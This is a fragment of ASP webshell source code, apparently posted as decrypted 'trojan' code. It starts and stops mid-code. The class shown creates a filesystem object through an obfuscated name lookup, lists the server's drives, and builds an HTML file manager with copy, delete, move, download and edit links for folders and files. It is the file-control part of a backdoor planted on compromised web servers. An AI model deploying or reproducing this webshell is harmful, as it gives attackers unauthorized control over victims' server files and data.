asp木马代码解密的随机加密webshell

s=false
end function
End Class
Class LBF
Dim CF
Private Sub Class_Initialize
SET CF=CreateObject(ObT(0,0))
End Sub
Private Sub Class_Terminate
Set CF=Nothing
End Sub
Function ShowDriver()
For Each D in CF.Drives
RRS" <a href=''javascript:ShowFolder("""&D.DriveLetter&":\\"")''>"& face("ff8000",0,"8")&"本地磁盘 ("&D.DriveLetter&":)</a><br>"
Next
End Function

Function Show1File(Path)
Set FOLD=CF.GetFolder(Path)
i=0
SI="<table width=''100%'' border=''0'' cellspacing=''0'' cellpadding=''0''><tr>"
For Each F in FOLD.subfolders
SI=SI&"<td height=10>"
SI=SI&"<a href=''javascript:ShowFolder("""&RePath(Path&"\"&F.Name)&""")'' title=""打开""><font face=''wingdings'' size=''6''>0</font>"&F.Name&"</a>"
SI=SI&" _<a href=''javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""CopyFolder"")'' onclick=''return yesok()'' class=''am'' title=''复制''>Copy</a>"
SI=SI&" <a href=''javascript:FullForm("""&Replace(Path&"\"&F.Name,"\","\\")&""",""DelFolder"")'' onclick=''return yesok()'' class=''am'' title=''删除''>Del</a>"
SI=SI&" <a href=''javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""MoveFolder"")'' onclick=''return yesok()'' class=''am'' title=''移动''>Move</a>"
SI=SI&" <a href=''javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""DownFile"")'' onclick=''return yesok()'' class=''am'' title=''下载''>Down</a></td>"
i=i+1
If i mod 3 = 0 then SI=SI&"</tr><tr>"
Next
SI=SI&"</tr><tr><td height=2></td></tr></table>"
RRS SI &"<hr noshade size=1 color=""#"" />" : SI=""
For Each L in Fold.files
SI="<table width=''100%'' border=''0'' cellspacing=''0'' cellpadding=''0''>"
SI=SI&"<tr style=''boungroup-color:#''>"
SI=SI&"<td height=''30''><a href=''javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DownFile"");'' title=''下载''><font face=''wingdings'' size=''4''>2</font>"&L.Name&"</a></td>"
SI=SI&"<td width=''40'' align=""center""><a href=''javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""EditFile"")'' class=''am'' title=''编辑''>edit</a></td>"
SI=SI&"<td width=''40'' align=""center""><a href=''javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DelFile"")'' onclick=''return yesok()'' class=''am'' title=''删除''>del</a></td>"
SI=SI&"<td width=''40'' align=""center""><a href=''javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""CopyFile"")'' class=''am'' title=''复制''>copy</a></td>"
SI=SI&"<td width=''40'' align=""center""><a href=''javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""MoveFile"")'' class=''am'' title=''移动''>move</a></td>"
SI=SI&"<td width=''50'' align=""center"">"&clng(L.size/1024)&"K</td>"
SI=SI&"<td width=''200'' align=""center"">"&L.Type&"</td>"
SI=SI&"<td width=''160''>"&L.DateLastModified&"</td&g